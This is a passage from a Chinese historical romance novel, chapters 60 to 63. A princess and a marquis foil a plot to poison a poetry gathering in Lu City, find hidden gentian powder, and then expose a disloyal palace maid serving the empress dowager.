谢子安眼睛一亮，呼吸顿时顺畅了不少，正愁没地找人突然来了线索，可不是是踏破铁鞋无觅处，得来全不费工夫？
“二位可真是临安百姓和谢某的福星啊！二位一来，这线索竟然就找到了！”谢子安笑道。
不过尚容此刻可是笑不出来，她总觉得自这场痘疫爆发以来事事都透着些诡异，纵然眼下看似有了线索，然则是真是假尚且无从得知。总之，她万不可掉以轻心。
“谢大人，带我们去找到车辙印和马蹄印的地方看看吧。”尚容朱唇微启，脸上却不见笑意。
“好，二位请随我来。”
众人骑马到了临安城外二十里的小路上，尚容下马后跟随那士卒的脚步果然发现了路面上的车辙印和马蹄印。
尚容蹲下细看，见印记虽有些混乱，但依旧看得清其走向，看样子是往西侧的南宛山而去。按照大靖的地图所示，翻过南宛山往西走再穿过云川平原和千锁峡谷，便能到达边关要塞左秋关。
“看来这无命人是打算从左秋关逃出大靖啊！”
谢子安也留意到车辙印和马蹄印的走向，心中泛起一阵焦急，在原地连连踱步。
反观魏修洵默声不语，背过身去环顾四周。
谢子安本以为二人会很快发令追赶无命人，却不成想等了一会始终不见二人有所动作，终于按捺不住：“我说二位还等什么呢？再不下令去追只怕就真的赶不上了！”
尚容眉眼清冷，处变不惊：“谢大人……你不觉得有些奇怪吗？”
谢子安愣了一下，终于冷静了一些：“何处奇怪？”
“现在所有人都知道我们在追查这支商队的下落，正愁没有发现的时候……线索就出现了。谢大人不觉得这一切太巧了吗？”
谢子安方才被情绪冲昏了头脑，如今冷静下来一想还真是这么回事！他们找了几天都没有找到的线索，怎么这二位今日以来就突然有了结果！
他回过神来，眼眸深邃：“殿下
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的意思是……他们是故意留下线索，目的是为了误导我们，耽误时间，让痘疫扩散开来！”
尚容点了点头。
“树林旁的泥土要比树下的泥土更为潮湿。”魏修洵弯着腰查看路况，突然开口，“莫非前几日临安下过雨？”
一语点醒梦中人，谢子安连连点头：“是……是！侯爷瞧我这记性！四日前下过一场雨，虽然只持续了一两个时辰，但是雨下得挺大。所以……按理说这车辙印和马蹄印就算还在，也不该如此清晰才是！”
魏修洵拍了拍衣袖起身：“看来他们这几日不仅没去左秋关，甚至还停留在这一带附近，这印记是他们在下过雨后重新刻意派人伪造的。”
谢子安回想起刚才自己差点中了这狡猾的无命人圈套，一时后背发凉：“那他们会去哪儿？”
尚容朱唇轻抿：“有时看似危险的地方反而安全。”
“殿下是说他们又回了临安？”谢子安毫不犹豫地摇了摇头，声音干脆，“这不可能！临安近日封锁城门，再无人进出，更不必说是那么大一支商队了。”
“本宫的意思是……除了临安，这附近方圆几十里内有没有哪座城最近在举办什么活动之类的，便于无命人浑水摸鱼？”尚容试探道。
“活动……”谢子安下意识地抚了抚下颚，突然似是想到什么。
“我知晓了！是鹿城！二十里外的鹿城近日在举办游子诗会，有不少文坛大家，文人才子齐聚鹿城，无命人最可能去那儿！”谢子安眉头紧皱，“听说今晚宫先生会亲临替诗会题词，想必他们就是要在今晚动手脚！”
宫先生……是宫文甫！尚容心头一沉，眼神坚定：“事不宜迟，我们先行一步，还请谢大人回临安多派些人手，鹿城……怕是要出大乱子！”
谢子安纵然先前有些糊涂，此刻却也明白若是无命人借着游子诗会投毒成功的后果，斩钉截铁道：“二位小心，我这就回临安叫人来。”
言罢谢子安策马而去，尚容和魏修洵带着剩下的士卒启程往鹿城而去。
相比于临安的一片死寂，二十里外的鹿城大街上却是热闹非凡。
众人进入鹿城之时正值傍晚，华灯初上，来来往往的大多都是身着一身素衣的文人墨客。
事情紧急，尚容不敢耽误时间，此时余光恰好瞥见身旁经过的看上去十六七岁的白衣少年。
“不好意思，问一下游子诗会怎么走？”尚容微微喘气道。
少年是个自来熟，听到对方也要去游子诗会眼睛一下子亮了起来：“就在前面不远的蕉中园，姐姐你也要去诗会啊？正好我也要去，我们一起吧！”
尚容心中担忧，一时顾不上与少年交谈，只道：“宫先生来了吗？你可知题词什么时候开始？”
少年听到宫文甫的名讳勾了勾唇，满脸崇拜：“我也是去看宫先生的！还有不到半个时辰吧！不过……好像宫先生已经提前到蕉中园了，好多人都去了！”
60. 鹿城会
声声入耳，尚容眉心微蹙，对着少年道：“听着……我们是官府的人，今晚有贼人要在城中动手脚，别去蕉中园，如果你有认识的人，劝他们也别去。情况紧急，来不及多解释，照我说的做。”
少年一时愣住，唇角笑意逐渐隐去。他起初不敢相信在光天化日之下会有人贼人想在城中动手脚，但当他回首望见女子身后的官兵时，他便知对方所言不假。
“姐姐我听你的，我这就劝他们走……”少年转身走了几步，似是想到什么，再次回到尚容身旁，脸色焦急，“那……那宫先生不会有事吧？”
尚容轻扶他的肩膀：“放心，交给我们。”
听了这话少年舒了一口气，转身离去。
尚容派韶淳手持象征着自己身份的金玉凤纹令牌与鹿城官兵交涉，让鹿城知州派人维持城内秩序，调遣官兵支援，而自己则与魏修洵很快抵达蕉中园。
二人到达之时，蕉中园外早已被文人学子围了个水泄不通，以免引起人群恐慌尚容并未派人直接散布消息，而是在鹿城知州裴元礼的带领下从鲜为人知的偏门进入。
偏门之后是一处寂静的庭院，众人穿过庭院的长廊便来到了前厅。
前厅内台下坐着无数文人才子，他们都临危正坐，此时台上宫文甫已然大笔一挥，题词完毕，台下顿时掌声雷动，众人面露喜色，准备举杯共饮。
尚容眸色渐沉，见宫文甫正要举杯，眉头紧锁：“酒里有毒，不能喝。”
尚容径直走了出去，宫文甫见到尚容似是有些惊讶，手上动作一滞，抿唇笑道：“殿下怎么来了？”
众人对宫文甫崇拜有加，见宫文甫尚不曾饮酒，便也把酒杯放下。
尚容靠近了些，在宫文甫身旁轻语。声声入耳，宫文甫脸色一沉，但当他余光瞥见台下众人之时，他很快恢复了往日神色：“抱歉啊诸位，今日老朽偶感不适，有些乏了，愿与诸位改日再叙，今日都散了吧。”
台下有人唏嘘了几声，但众人大多起身向宫文甫深深鞠了一躬，而后准备离去。
一旁的裴元礼很快反应过来，让官兵安排众人有序离场。
“小心！”
尚容正准备带着宫文甫从偏门离开，却听得魏修洵高喝一声，转身见几名黑衣人从天而降，将他们团团包围。
韶淳很快反应过来，长剑出鞘护在尚容身前。
魏修洵显然认出为首的那个黑衣人，冷笑道：“好久不见，崖柏……”
崖柏自然也认出了来者，嘴角忍不住微微抽动，眼神阴鸷好似鹰隼在追寻猎物。他的声音沙哑，略带卷舌：“魏什长……好久不见啊。”
“哦不……现在应该叫你……晋安侯了。”崖柏挑了挑眉，玩味一笑。
言罢崖柏挥了挥手，黑衣人皆往宫文甫方向而去，魏修洵挡住黑衣人攻势，侧身与尚容对视，眼神坚毅：“他们是冲着宫先生来的，你带宫先生先走，我断后！”
尚容也知此时不是犹豫的时候，点了点头，只道：“千万小心。”
魏修洵嘴角微噙：“放心。”
在韶淳的护卫和几个官兵的护卫下，尚容带着宫文甫从偏门撤离。
“别让他跑了！”
崖柏一声令下，两个黑衣人翻墙而出，崖柏欲拦截宫文甫，却被魏修洵拖住抽不开身。
魏修洵知崖柏此人素来心高气傲，于是勾了勾唇眼神流露出一丝不屑，故意激怒道：“莫不是崖首领当年在本侯手下输得惨了，怎么今日见了本侯就想着逃啊？”
崖柏闻声果然中计，手持弯刀向魏修洵逼去，眼神阴狠：“当年我就该了断了你，如此……便用不着今日这般麻烦！”
“那就要看你今日有没有这个本事了。”
尚容带宫文甫离开蕉下园后，有两个黑衣人便跟了上来，好在很快就被韶淳解决。但一切还没有就此结束，众人回官府的路上又遭遇了一群黑衣人的截杀，想来这应该就是崖柏的后招。
对方使用弓箭意欲射杀，尚容只好带着宫文甫在一辆马车卧倒躲避弓箭，但随着刺入车壁的羽箭越来越多，马车逐渐开始吱呀作响，尚容便知撑不了多久了。
再这样下去，等马车车体破裂，他们便会暴露在羽箭之下，届时便只有死路一条。
“殿下……你何必为了老臣把自己牵扯进来……”宫文甫眉头紧皱，长叹了一口气，“殿下若是出事，我如何向你母后交代啊！”
“对方要的是文坛大乱，之后便是大靖大乱，我既流着皇室的血便不能坐视不管。”
尚容顿时心生一计，右手轻挥，飞出银针刺入马背，马儿吃惊，顿时拖着马车飞奔起来。
马车虽吱呀作响但尚且还能支撑一时片刻，而楼上崖柏安排的弓箭手却逐渐赶不上马的速度，很快马车便冲出了包围圈。
但很快另一个问题便接踵而来，马儿受惊严重，任凭韶淳如何驯服始终不听使唤，加速狂奔。尚容眼看着再前面便是闹市，届时若是冲撞了百姓后果不堪设想，额间不禁沁出冷汗。
“殿下……怎么办……我快要控制不住了！”韶淳喝道。
尚容眉头紧蹙，一时也没有主意，余光却瞥见衣袖中的白色药粉。她心头一横，如今情况危急，也只能死马当活马医试上一试了。
尚容勉强稳住平衡将衣袖中药粉递给韶淳，韶淳顿时心领神会，打开药粉轻挥衣袖，很快马儿速度慢了下来四肢逐渐无力，韶淳加大药量，马儿最终瘫倒在地，马车随之侧翻。
好在尚容早有准备与宫文甫从马车上跳下，而后顺势扶住韶淳，避免了受伤。
韶淳望着瘫倒在地上的马儿粗粗地喘着气，心中不免后怕：“殿下……还好您早有主意。”
尚容苦笑：“我也是死马当活马医，想着用防身香试一试，并没有几成把握。”
“殿下！殿下！”
尚容闻声转身，见是谢子安带着临安的官兵前来支援。尚容看他从蕉中园的方向而来，心中有些不安：“谢大人你来得正好，可曾见到晋安侯？”
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“侯爷？”谢子安似是有些迷惑，随即摇了摇头，“侯爷没有和殿下在一起吗？”
尚容心头一沉，朱唇轻抿：“本宫与他兵分两路，他让本宫带着宫先生先走，自己去引开崖柏了。”
“这……”谢子安面露难色。
就在此时，尚容听得背后传来一阵脚步声，她随即转身，见来者正是魏修洵。他立在风中，白衣染血。
尚容快步都到他身前，眉头不展，眼神微动，下意识去握他的手：“受伤了？”
魏修洵勾了勾唇，眼底满是柔情：“我无碍，一点皮肉伤罢了。崖柏受了重伤，但方才不小心被他使阴招逃了，不过应该逃不远。”
谢子安很快反应过来：“我马上派人去追！”
尚容心思一动，随即拦住谢子安，把防身香粉递到他手中：“崖柏此人狡诈，既如此，我们以其人之道还治其人之身。”
谢子安点了点头：“还是殿下想得周全。”
谢子安率人离开后，尚容一众人往蕉中园走去，将至蕉中园之时遇上了鹿城知州裴元礼。
“殿下，侯爷，宫先生，人群我们已经疏散完毕，方才手下有人来报，说发现了这伙贼人先前的落脚点，但并不曾发现我们想要的龙胆草。”
“他们当时冒充商队收购的龙胆草有多少？”尚容朱唇微启。
裴元礼答道：“足足有六大箱。”
“六大箱……这么多东西搬来搬去难免兴师动众，惹人怀疑。”尚容低眉沉思，“崖柏既没有就地销毁，就说明东西还在，不如裴知州带我们去他们落脚的地方查探一番。”
“诸位请。”
裴元礼带着众人到了一处被查封的宅院。尚容见此院地处偏僻，又鲜少有人经过，的确不失为一个落脚的好地方。
裴元礼命人推开宅院大门，尚容发觉院内倒是收拾得极为整洁，看来在崖柏的管理下无命人内部纪律严明。
宅院内一共有三间卧房和一间灶房，陈设皆与寻常人家无异。
“下官都派人仔细搜查过，但……并无异样。”裴元礼眉头紧锁，额头上硬生生挤出几丝褶皱，似乎甚是苦恼。
“本宫总觉得可能从一开始，我们搜查的对象就错了。”尚容眉眼清冷。
裴元礼微怔：“殿下此话何意？”
“龙胆草入药需磨成药粉，相比于六大箱龙胆草，将其制成药粉后更容易保存。”
魏修洵微微颔首：“殿下说得不错，然则崖柏此人奸诈狡猾，不可能直接将药粉放置储存，裴大人不如派手下再好好查查，特别是一些可以塞入药粉的东西。”
裴元礼顿时大悟：“二位说得是，下官这就吩咐下去。”
尚容点了点头，走入距离最近的一间卧房。
“殿下可有发现？”魏修洵双手抱胸，环顾四周。
尚容正想说话，目光却被床榻上摆放着的微微凹陷的枕头所吸引。
她勾了勾唇：“或许最危险的地方就是最安全的地方。”
61. 心相惜
尚容上前一步走到床榻边，见枕头上的枕套针脚很密，竟似是有人在原有针脚的基础上刻意加固过似的。
魏修洵顺着尚容的目光望去，见床榻上的枕头中间有几处微微凹陷，又有几处微微凸起，观之的确有些奇怪。
“莫非……”魏修洵很快明白了尚容心中所想，眸色渐沉。
尚容抱起枕头，靠近了些细闻，果然有些许熟悉的气味钻入呼吸。尚容擅长制香，自然也就对气味敏感些，这种独属于龙胆草的特殊味道她断然不会记错。
尚容又将枕头放回床榻上，用右手在枕套上轻轻按压，便清晰地感受到枕套内粉末细密的触感。
“里面就是龙胆草研磨而成的粉末。”尚容与魏修洵对视，眼神笃定。
魏修洵微微颔首，侧身道：“长青，去告知裴大人，龙胆草粉末被无命人藏于针脚细密的枕头之中。”
“是！”长青得令，转身迈出卧房。
裴元礼收到消息后，派官兵仔细搜查，最终在三个卧房的枕头内芯中发现了三大袋研磨好的龙胆草粉末。
“还要麻烦裴大人将粉末分发给鹿城和临安的百姓。”尚容道。
裴元礼不顾尚容阻拦深深鞠了一躬，情绪有些激动：“若非殿下与侯爷，我们差点就被无命人戏耍了，微臣替鹿城和临安的百姓多谢殿下与侯爷救命之恩！”
“裴大人不必言谢，无论是鹿城百姓，还是临安百姓，亦或者是远道而来的流民，皆是我大靖子民，守护他们本就是本宫与晋安侯分内之事。”尚容抿唇浅笑。
“殿下！侯爷！”
尚容闻声转身，一个有些熟悉的身影映入眼帘，她定睛一看，见是临安知州谢子安。
“谢大人，如何了？”魏修洵问道。
谢子安似是累极了，粗粗地喘了一口气，勉强直起身来，唇边含笑：“抓……抓住了……已经交由专人看守……还要多亏殿下给的香粉，不然又让那家伙使计逃走了。”
尚容低头轻笑：“人抓住了就好，否则后患无穷。”
“不过根据我对崖柏的了解，他绝不会说出一个字。”魏修洵声音低沉，桃花眼深处不见笑意。
尚容点了点头。崖柏此人本就是无命之徒，又以无命人首领身份驰骋大漠多年，骨头自然极硬，想要撬开他的嘴恐怕难于登天。
“其实他也并非毫无用处。”尚容唇角轻勾。
谢子安听得一头雾水，反观一旁的魏修洵抽了抽嘴角，玩味一笑。
“殿下是想试试放长线钓大鱼？”
尚容与魏修洵相视一笑：“不错，既然此人不会说话，那不妨就让来的人替他说。”
“待临安一带痘疫结束，我们便派人押着他一起返回京城，届时再放出消息。背后之人既然能买通无命人，又将手伸入大靖，想必京城也有潜藏之人。”
“原来如此，殿下果然深谋远虑，谢某佩服。”谢子安拱手作礼。
“其实本宫进临安之前本以为与谢大人道不同，但经过这次事情本宫发现谢大人虽处理流民有失，对城中百姓却很是亲近。”尚容抿唇一笑，“是以从前过往一笔勾销，只是不知先前本宫和谢大人说的话，谢大人可还记得？”
无论是流民还是临安城中百姓，都是大靖的子民。
这句话，谢子安记得清清楚楚。
“多谢殿下，子安不敢忘。”谢子安眼眸含光，“临安痘疫未消，子安先行告辞！”
尚容浅笑颔首，见谢子安派人接过三大袋龙胆草研制而成的粉末，很快消失在众人视线之中。
“崖柏此人还要劳烦裴大人派人展示看押。”魏修洵微微侧身。
“自然，那下官也先行告辞！”裴元礼欠身行礼。
“裴大人慢走。”
“幸好有惊无险，今晚总算是能好好休息一番了。”待裴元礼带人走远，魏修洵忍不住活动筋骨伸了个懒腰。
尚容压在心头的巨石总算落地，也难得觉得轻松了许多。她微微侧身，余光却瞥见魏修洵手背上的一道血痕，血痕算不得浅，再深半分便能入骨，她见了有些触目惊心，反观魏修洵倒像个没事人似的。
“疼吗？”尚容羽睫微动，声音轻柔。
魏修洵知她累了一日还要担心自己，心里一时也不甚好受，嘴角微噙洒脱一笑：“不怎么疼了，我本是习武之人，一些小伤早就习惯了。”
他这句话不是安慰倒是真的，想他当年在边关过着刀口舔血的日子，受过的刀伤箭伤早已不计其数，甚至有些至今还在身上落下了难以抹去的印记，是以这点小伤的确算不得什么。
但字字句句落入尚容耳中，却勾起她心头一阵泛酸。
就在此时，韶淳从一旁端来盐水，素布，纱布和金疮药走到魏修洵面前，魏修洵见了下意识伸手去拿纱布，却被尚容挡住。
“我来吧。”
魏修洵微微愣住，随即勾了勾唇，收回右手。他见尚容将素布浸入盐水后拧干，动作格外娴熟，问道：“容儿怎么也会这些？”
尚容抿唇浅笑，笑意之中闪过几缕淡淡的苦涩。但她按捺住心绪，尽量让自己看上去神色如常，语气夹杂着几分玩笑。
“见多了便什么都会些，况且我也没有尚音尚华她们那么娇气。”
声声入耳，魏修洵心如明镜，眸色渐深，一时不知如何作答。
因他知晓她说的一切恐怕是源于那段她不愿回忆的往事，那时她受人冷眼孤立，孤身一人被困在红墙之下，不能依靠他人只能自救，出现伤感风寒恐怕也只能自己想办法缓解。
有时候他总是忍不住去想，她和他其实是一类人，都曾身如浮萍孤身一人，却偏不服输狠着心要闯出一条血路。或许也正式因为如此，他们才会心心相惜，相互靠近，相拥取暖。
魏修洵眼尾微微泛红，声音泛着几丝沙哑：“时过境迁，一切都在变好。”
尚容起初并没有听清他的话，等到反应过来手上动作微滞，良久抽了抽嘴角揶揄：“怎么今日这般煽情？”
魏修洵怅然一笑，薄唇轻抿：“偶然想到罢了。”
尚容清
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理好魏修洵手背上的伤口后，在创口上仔细撒上金疮药，而后缠上纱布。她将剩余的金疮药放在一旁，抬眸道：“除了围场那次，你好像很少提起你在边关的经历。”
魏修洵勾了勾唇，似乎早已释然：“说起来不过是一些刀口舔血的日子罢了，也没有说书先生口中的话本那么精彩。”
魏修洵微微侧身，见静静地看着自己，眼神微动。
“那是一个充满生离死别的地方，有些经历过生死的人会变得坦然很多，但也有一些人因为一次经历再也无法面对自己。”
尚容见他眼眸深处闪过几缕情绪，没有开口打扰。
“我应该是幸运的，因为我是前者。”魏修洵唇角微噙，却笑意凉薄，“但当时和我一起入伍的那些人之中有很多死的死……疯的疯……”
魏修洵深吸了一口气：“他们的样子我到现在还都记得。”
尚容不自觉微微蹙眉，握住他的手腕，似在安抚他的情绪。
“所以……如果大靖国力昌盛，这世上没有战争，也没有动乱，就不会有那么多人受苦。”
尚容知晓魏修洵所言不假，但放眼如今情势，已有人在背后挑起事端蠢蠢欲动，要想永绝后患一场大战恐怕无可避免。
“你我都知道眼下恐怕做不到。”
魏修洵低眉，见尚容面含忧色便猜到了她的心思。他勾了勾唇，似在挑逗又似在玩笑，令人捉摸不透。
“容儿……莫不是在担心我？不想让我去？”
尚容见他此刻还在嬉皮笑脸地贫嘴心中更加添堵，她长舒了一口气，让自己勉强冷静下来。
出乎魏修洵意料的是，尚容一脸认真，目光坚决。
“你要去，既是因为你晋安侯的身份，也因为……他们。”
魏修洵望着尚容，收起了方才的玩笑，微微出神。
他低下头，感觉她将他的手腕握得更紧了些。
“但你要答应我……活着回来。”
魏修洵能明显感觉到她说这话时的声音明显与平日不同，竟多了几分沙哑。
他心头一颤，良久反握住她的手：“我答应你，不食言。”
两日后，临安痘疫危机解除，尚容与魏修洵一行人启程回京，并于两日后抵达京都。
二人的马车刚刚驶入城门没多久，宫里便来了消息，只是永嘉帝这一次并非只传召尚容一人，而是同时传召尚容与魏修洵两人。
半柱香后，尚容与魏修洵抵达御书房，永嘉帝竟似已等候多时。
“儿臣拜见父皇！”
“微臣参见陛下！”
尚徽摆了摆手：“不必多礼，赐座。”
“谢父皇。”
“谢陛下。”
尚容随即入座，却见尚徽一言不发，只是望着一旁的魏修洵微微出神，神色严肃，竟似要把他上上下下都仔细打量一遍似的。
倒是魏修洵坐得笔直，抿着唇浅笑，神色如常。
良久，尚容终于忍不住咳嗽了一声：“父皇，儿臣有事要说。”
62. 客为主
声声入耳，尚徽这才回过神来，收回目光拂了拂衣袖：“这次临安突发痘疫还要多亏了你们。”
尚容朱唇微启：“儿臣不敢居功，是因为父皇及时派人将粮草草药送至临安，痘疫才能这么快结束。”
尚徽抿唇浅笑，挥了挥手：“不论怎么说，你们两个都是大功一件。尤其是容儿，你如今是越来越让朕刮目相看了。”
“但这次临安的痘疫是刻意有人为之，背后牵扯到大漠的无命人，此次回京儿臣便派人将无命人首领崖柏秘密押入京中，眼下已交由肃统领看守。”尚容眉头微蹙，神色凝重。
声声入耳，尚徽的脸色很快阴沉下来。他抿了抿唇，眼眸深邃，声音低沉：“无命人？传闻无命人是东楼人的后代，在大漠收人钱财替人办事。”
“晋安侯，朕听闻你早年在边关历练，对其可有了解？”
魏修洵颔首：“臣早年曾与无命人交过手，在大漠百姓听到无命人都会吓得闻风丧胆，只因他们杀人放火百无禁忌，其首领崖柏此人更是奸邪之徒，狡猾至极。”
尚徽眸色渐沉，眼神敏锐：“所以……是有人买通了无命人。”
“是。”
“可有进展？”
尚容抬眸与尚徽对视：“目前暂无进展，但儿臣此次押崖柏回京是打算故意散播消息，好引蛇出洞。”
尚徽点了点头：“像崖柏这种无命之徒想来誓死不会透露一个字，容儿所言倒不失为一个好主意。”
尚徽微微侧身，见尚容犹豫片刻，欲言又止，便道：“容儿有话直说便是。”
“虽然眼下并无线索和证据，但儿臣猜测背后之人或许与西察有关。”尚容眼神坚毅。
尚徽扶在龙椅上的右手微微攥紧，眉宇之间尽显威仪：“说来听听。”
“我大靖与东楼素无恩怨，正如父皇所言，无命人不过是一把刀，而非幕后之人。”
“早年间老西察王在世时，西察与我大靖固然交好，但自默沙称王后两国关系日益紧张，默沙更是多年不曾来京朝贡，今年突然造访本就反常。”
尚徽闻言眉头拧得更紧了些。
“父皇想必早已收到边关的消息，默沙离京后在左秋关附近逗留许久，而当时他声称国内政务繁忙不便在京城逗留，如今看来只怕是托词。”尚容声音清冷，字字句句戳入尚徽心窝，“儿臣只怕他意在大靖。”
“但眼下并无证据，以上只是儿臣的猜测，或许是儿臣多虑了。但事关国家大事，儿臣以为不得不防。”
尚容本以为尚徽听后会心生不悦，却不成想他只道：“容儿说得不错，默沙此人弑父篡位，生性狠辣，不可不防。不过你们也不必过于紧张，先静观其变，再做打算。”
“是。”尚容颔首。
尚徽神色渐缓，望着尚容勾了勾唇：“朕本想着留你用午膳，但你不在京都那么久想必母后很是想念，朕便不留你了。”
尚徽的目光随即又落在一旁的魏修洵身上：“晋安侯身上的伤好得如何了？”
“劳烦陛下记挂，已然无碍。”
尚徽点了点头：“既如此，晋安侯便和容儿一道去吧。”
魏修洵欠身行礼：“是。”
提及祖母，尚容一时微微出神。她原以为离开京都参加祭日大典往返不过一周时间，但此次遇上尚林谋反，返程途中又因临安痘疫停留了几日，加起来竟已经过去了将近一个月。这么久不见，也不知祖母一切可还好。
“儿臣告退。”
“微臣告退。”
尚容刚刚迈出御书房，便望见一个熟悉的背影。那人身着暗红绣花对襟坎肩，尚容一眼便认出了她，此人便是祖母身边的女官苏嬷嬷。
苏嬷嬷见了尚容和魏修洵笑着快步走了上来：“殿下，侯爷，太后娘娘有请。”
尚容仔细打量了面前女官一番，只觉许久不见面前的人的打扮倒是朴素了许多。
她记得上次见面此人衣袖遮住的一截手腕上还带着一只成色不错的翠玉手环，身上抹的香膏闻上去也算得上是上品，但今日她却未戴一丝首饰，身上也不曾有香膏的气味，很是反常。
尚容抿唇浅笑，装作不经意道：“许久不见，苏嬷嬷怎么不用之前的香膏了？”
苏嬷嬷闻言咳嗽了一声，挤出一丝笑意，抬眸与尚容对视眼神却有些躲闪：“先前的味道老奴闻着有些呛，便不用了，劳烦殿下还记得。”
尚容点了点头，神色如常：“原来如此，改日本宫让翠桃给嬷嬷送些去，嬷嬷照顾祖母这么久一直尽心尽力，也是辛苦了。”
苏嬷嬷受宠若惊：“殿下这……这怎么好意思呢……”
“不过是一点心意罢了，嬷嬷收下便是。”尚容浅笑。
苏嬷嬷见尚容如此说，脸上笑意再也掩饰不住，连声道：“既如此，老奴多谢殿下，老奴日后照顾太后娘娘定当更加尽心尽力。”
尚容点了点头，在苏嬷嬷的带领下进入了慈禄宫，然则由于李宣用膳时素来不喜有外人在殿内，苏嬷嬷便守在殿外，唯有尚容与魏修洵入了殿内。
尚容想到方才一路上魏修洵一言不发，觉得有些奇怪，便勾了勾唇笑道：“今日怎么一句话都不说？”
魏修洵闻声低头憋笑，眼神泛着微光：“太后娘娘从不让外人陪同用膳，我这还是第一次入内殿，自然拘束了一些。”
尚容不曾想到魏修洵竟是因为此事格外正经，没忍住抿唇轻笑。她微微仰头，挑了挑眉：“那你今日打算如何？”
“自然……是要好好表现的。”魏修洵嘴角微噙。
“不过说来你方才面对那个带路的苏嬷嬷可是有些反常？是发现了什么吗？”
尚容眉心微蹙，微微颔首：“还记得我和你说过我重生的事吗？”
魏修洵点了点头：“自然记得。”
“前世和亲前祖母突然病逝，我来不及多查，但今生醒来之后思来想去觉得越发奇怪，我怀疑是祖母并非病逝，而是被人害死的。”
魏修洵眸色渐沉，薄唇轻抿：“你觉得会是谁？”
“按当时情形来看淑妃温若婉和皇后罗云慎嫌疑最大。”尚容眼神清冷，“因为如果当时祖母还在，硬要保下我不去和亲，那人选便只
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有尚音和尚华。”
“若真如此，如今此二人已死，祖母应该不会有事。但前世既然成事便说明祖母身边必定出了叛徒，否则做不到神不知鬼不觉。”
魏修洵声音低沉：“你是怀疑那个叛徒就是苏嬷嬷？”
尚容颔首，微微侧身，目光灼灼：“我会派人去细查。我已经经历过太多分别，如今绝不会允许这样的事再次发生，绝不会眼睁睁地看着我心中重要的人离我而去，哪怕只要一有一点苗子我都不会放过。”
“我帮你。”
尚容感觉自己的手被人握住，指尖泛起一阵炙热。她抬眸便对上一双满是深情的桃花眼，她强忍住心中触动，轻声道：“好。”
二人说着便穿过屏风进入内殿。
内殿内李宣正靠在垫着金丝软垫梨花木太师椅上，见尚容与魏修洵来了便站起身来，上前握住尚容的手，眼眶微红：“容儿……你的事哀家都听说了，你真是受苦了……”
“都过去了祖母，我这不是没事了吗？”见到祖母有些失魂落魄的模样尚容心中一阵泛酸，但还是强忍着抿唇一笑。
“你这孩子……”李宣抹了抹眼泪，强忍住心绪，“不说了，回来就好，回来就好啊……”
“祖母这些时日身子可还好？”尚容挽着祖母的手臂道。
李宣点了点头：“都挺好的，你别担心。”
此时李宣余光瞥见立在一旁的魏修洵，终于回过神来：“修洵，听说这次你也受了伤，如今恢复得如何了？”
“劳烦太后娘娘记挂，已经无碍了。”魏修洵浅笑回应。
话音未落，尚容见祖母脸色微沉，她见气氛有些尴尬正欲开口却听见祖母先开了口。
“还叫太后娘娘呢？”
魏修洵微微一怔，随即很快反应过来，眉眼含笑：“是修洵一时疏忽，应该唤您祖母。”
李宣顿时眉开眼笑，拍了拍魏修洵的手道：“这才对嘛！当时哀家听到皇帝为你们二人赐婚是既担心又高兴，看到你们平安回来哀家这颗心啊总算是能落下了。”
尚容舒了一口气。
李宣侧身挽着尚容的手，笑道：“傻孩子，这就吓到了？”
尚容回想起方才情景忍不住发笑。
“再怎么说修洵也算是哀家的堂孙，是哀家看着长大的好孩子，哀家自然不舍得为难他。”
尚容心头泛起一阵暖意，挽着祖母的手坐下：“菜都要凉了，容儿侍奉祖母用膳吧。”
“好。”
“这一路你们可有遇到什么有趣的事儿？说来给祖母听听。”李宣满脸慈祥。
尚容正欲开口却被魏修洵抢了先，听得他一阵滔滔不绝，还惹得祖母笑声不断，一时间就连尚容都佩服他的三寸不烂之舌和哄人开心的本事。
“容儿，这点你可得向修洵多学学，别一直扳着个脸，也要多笑笑。”李宣被魏修洵哄得格外开心，见尚容一脸难以置信的模样忍不住道。
尚容见魏修洵故意偏过头来，一脸不嫌事大的模样，无奈地挤出一丝笑意点了点头。
“祖母……说的是。”
63. 约踏青
用完午膳后，尚容与李宣提起了苏嬷嬷的事，李宣顿时眉头紧锁。
尚容也曾被人背叛过，知道这种滋味并不好受，便挽着李宣的手轻声道：“祖母若是觉得……”
可是李宣却打断了她。
“你想要试试她自然是为了哀家好，哀家怎么可能不明白你的这份心意？”李宣微微抿唇，拍了拍尚容的手，下一秒眸色渐沉，唇边泛起一阵冷笑，“哀家是在想，她在身边侍奉已有十数年，若她真是罗氏或淑妃的人，这颗棋子藏得倒是够深。”
“就按你说的去做，查查她的底细。”李宣终于下定了决心。
尚容朱唇微启：“是。”
两日后，尚容派去查苏嬷嬷底细的人果然有了消息。前往探查的人发现苏嬷嬷当年入宫的手续是一个叫小喜子的太监办的，而这个小喜子便是由罗氏一手提拔的，一月前罗氏出事此人便已被赶出宫去。
不仅如此，李宣最早见到这位苏嬷嬷是在内务府，而巧的是当年把苏嬷嬷调入内务府任职也是罗氏的意思。种种迹象皆此人很有可能与罗氏有着千丝万缕的关系，尚容并非多想。
第二日，尚容见苏嬷嬷出了慈禄宫，便秘密派翠桃到苏嬷嬷房间搜查。没过多久，苏嬷嬷去而复返，正巧被尚容截住。
“今早听说祖母派了嬷嬷去内务府取东西，嬷嬷怎么空手回来了？”尚容勾唇浅笑。
苏嬷嬷显然不曾想到会在此处遇见尚容，神色略显慌乱：“回殿下……老奴忘了点东西，便想着回来取。”
苏嬷嬷言罢便要往前走去，却被尚容挡住。
“嬷嬷今日脸色看上去不太好，需不需要本宫叫个太医替嬷嬷瞧瞧。”
苏嬷嬷一边挤出一丝笑意，一边忍不住往里张望，额间不由得沁出几滴冷汗：“不用了殿下，老奴就是方才走得快了有些喘，休息一会便不碍事。”
过了片刻，苏嬷嬷总算按捺不住，欠身行礼：“殿下，老奴实在是有急事，就先失陪了。”
“苏嬷嬷急什么？”尚容上前一步，与苏嬷嬷对视，抿唇冷笑，“莫不是嬷嬷藏了什么见不得人的东西，怕被人发现？”
此言一出，苏嬷嬷愣了一下，身体微微颤抖，不敢直视尚容眼睛：“殿下玩笑了……老奴怎么会有什么见不得人的东西呢？老奴一心为太后娘娘着想，这殿下您素来是最清楚的啊……”
“是吗？”尚容勾了勾唇，眼神清冷。
“殿下！找到了！”
苏嬷嬷听见尚容背后的屋子里传来翠桃的声音，脸上笑意顿时凝固，面色惨白如纸。
翠桃抱着一个打开的木箱从屋中走出，木箱中放慢了各种珠宝首饰，其中就包括尚容印象中那只成色不错的翠玉手镯。
尚容瞥了一眼木箱里的珠宝首饰，抽了抽唇：“看来苏嬷嬷这些年过得倒挺滋润。”
